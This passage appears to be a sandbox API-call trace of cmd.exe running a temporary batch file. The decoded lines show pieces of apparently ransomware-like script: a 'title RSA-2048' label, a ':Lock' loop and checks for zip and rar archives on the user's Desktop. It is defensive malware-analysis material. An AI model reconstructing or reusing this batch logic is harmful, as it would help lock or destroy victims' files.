nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=19, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0038.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="@echo off\r\n /t 20 /c Ooops\r\n") returned 11 [0038.035] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0038.035] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.035] GetFileType (hFile=0x74) returned 0x1 [0038.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0038.035] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=35, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0038.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=16, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="title RSA-2048\r\n0 /c Ooops\r\n") returned 16 [0038.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0038.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.036] GetFileType (hFile=0x74) returned 0x1 [0038.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0038.036] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=45, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0038.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=10, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Links\r\n2048\r\n") returned 10 [0038.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0038.036] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.036] GetFileType (hFile=0x74) returned 0x1 [0038.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0038.036] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.036] SetFilePointer (in: hFile=0x74, lDistanceToMove=52, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0038.037] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\ns\r\n") returned 7 [0038.037] _close (_FileHandle=3) returned 0 [0038.037] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.037] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.038] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.038] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.038] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.038] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.039] SetConsoleInputExeNameW () returned 0x1 [0038.039] GetConsoleOutputCP () returned 0x1b5 [0038.039] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.039] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.039] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.040] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.040] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.040] SetFilePointer (in: hFile=0x74, lDistanceToMove=52, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0038.040] GetProcessHeap () returned 0x4e0000 [0038.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0038.040] GetProcessHeap () returned 0x4e0000 [0038.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.040] GetProcessHeap () returned 0x4e0000 [0038.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.040] GetProcessHeap () returned 0x4e0000 [0038.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.040] GetProcessHeap () returned 0x4e0000 [0038.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.040] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.040] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0038.040] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0038.041] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\ng %RANDOM%.XL\r\n\n") returned 2 [0038.041] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.041] GetFileType (hFile=0x74) returned 0x1 [0038.041] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.041] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0038.041] GetProcessHeap () returned 0x4e0000 [0038.041] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.041] GetProcessHeap () returned 0x4e0000 [0038.041] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.041] _tell (_FileHandle=3) returned 54 [0038.041] _close (_FileHandle=3) returned 0 [0038.041] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.041] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.041] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0038.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0038.042] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=79, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0038.042] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n\n") returned 25 [0038.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.042] GetFileType (hFile=0x74) returned 0x1 [0038.042] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.042] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0038.042] GetProcessHeap () returned 0x4e0000 [0038.042] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.042] GetProcessHeap () returned 0x4e0000 [0038.042] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.042] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.042] GetProcessHeap () returned 0x4e0000 [0038.042] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.043] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.043] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.043] GetProcessHeap () returned 0x4e0000 [0038.043] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.043] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.043] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.043] GetProcessHeap () returned 0x4e0000 [0038.043] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.043] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.043] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.043] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.043] GetProcessHeap () returned 0x4e0000 [0038.043] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.043] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.043] GetProcessHeap () returned 0x4e0000 [0038.043] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.043] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.043] GetProcessHeap () returned 0x4e0000 [0038.043] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.043] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.044] _tell (_FileHandle=3) returned 79 [0038.044] _close (_FileHandle=3) returned 0 [0038.045] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0038.045] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.045] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.045] GetLastError () returned 0x2 [0038.045] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.045] GetLastError () returned 0x6 [0038.045] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.045] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.046] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.046] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.046] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.046] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.046] SetConsoleInputExeNameW () returned 0x1 [0038.047] GetConsoleOutputCP () returned 0x1b5 [0038.047] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.047] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.047] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.047] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.047] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.047] SetFilePointer (in: hFile=0x74, lDistanceToMove=79, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0038.047] GetProcessHeap () returned 0x4e0000 [0038.047] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.047] GetProcessHeap () returned 0x4e0000 [0038.047] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.047] GetProcessHeap () returned 0x4e0000 [0038.047] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.047] GetProcessHeap () returned 0x4e0000 [0038.047] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.047] GetProcessHeap () returned 0x4e0000 [0038.048] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.048] GetProcessHeap () returned 0x4e0000 [0038.048] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.048] GetProcessHeap () returned 0x4e0000 [0038.048] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.048] GetProcessHeap () returned 0x4e0000 [0038.048] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.048] GetProcessHeap () returned 0x4e0000 [0038.048] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.048] GetProcessHeap () returned 0x4e0000 [0038.048] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.048] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.048] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0038.048] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.048] SetFilePointer (in: hFile=0x74, lDistanceToMove=81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0038.048] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n\n") returned 2 [0038.048] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.048] GetFileType (hFile=0x74) returned 0x1 [0038.048] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.049] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0038.049] GetProcessHeap () returned 0x4e0000 [0038.049] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.049] GetProcessHeap () returned 0x4e0000 [0038.049] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.049] _tell (_FileHandle=3) returned 81 [0038.049] _close (_FileHandle=3) returned 0 [0038.049] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.049] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.049] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.049] SetFilePointer (in: hFile=0x74, lDistanceToMove=81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0038.049] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.049] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0038.050] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.050] SetFilePointer (in: hFile=0x74, lDistanceToMove=106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0038.050] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n\n") returned 25 [0038.050] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.050] GetFileType (hFile=0x74) returned 0x1 [0038.050] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.050] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0038.050] GetProcessHeap () returned 0x4e0000 [0038.050] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.050] GetProcessHeap () returned 0x4e0000 [0038.050] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.050] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.050] GetProcessHeap () returned 0x4e0000 [0038.050] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.050] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.050] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.050] GetProcessHeap () returned 0x4e0000 [0038.050] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.050] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.050] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.051] GetProcessHeap () returned 0x4e0000 [0038.051] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.051] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.051] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.051] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.051] GetProcessHeap () returned 0x4e0000 [0038.051] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.051] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.051] GetProcessHeap () returned 0x4e0000 [0038.051] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.051] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.051] GetProcessHeap () returned 0x4e0000 [0038.051] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.051] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.052] _tell (_FileHandle=3) returned 106 [0038.052] _close (_FileHandle=3) returned 0 [0038.052] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0038.052] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.052] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.053] GetLastError () returned 0x2 [0038.053] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.053] GetLastError () returned 0x6 [0038.053] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.053] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.053] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.053] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.053] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.053] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.054] SetConsoleInputExeNameW () returned 0x1 [0038.054] GetConsoleOutputCP () returned 0x1b5 [0038.054] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.054] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.054] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.054] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.054] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.054] SetFilePointer (in: hFile=0x74, lDistanceToMove=106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0038.054] GetProcessHeap () returned 0x4e0000 [0038.054] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.054] GetProcessHeap () returned 0x4e0000 [0038.055] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.055] GetProcessHeap () returned 0x4e0000 [0038.055] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.055] GetProcessHeap () returned 0x4e0000 [0038.055] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.055] GetProcessHeap () returned 0x4e0000 [0038.055] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.055] GetProcessHeap () returned 0x4e0000 [0038.055] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.055] GetProcessHeap () returned 0x4e0000 [0038.055] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.055] GetProcessHeap () returned 0x4e0000 [0038.055] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.055] GetProcessHeap () returned 0x4e0000 [0038.055] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.055] GetProcessHeap () returned 0x4e0000 [0038.055] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.055] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.055] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0038.055] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.055] SetFilePointer (in: hFile=0x74, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0038.055] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n\n") returned 2 [0038.055] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.056] GetFileType (hFile=0x74) returned 0x1 [0038.056] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.056] 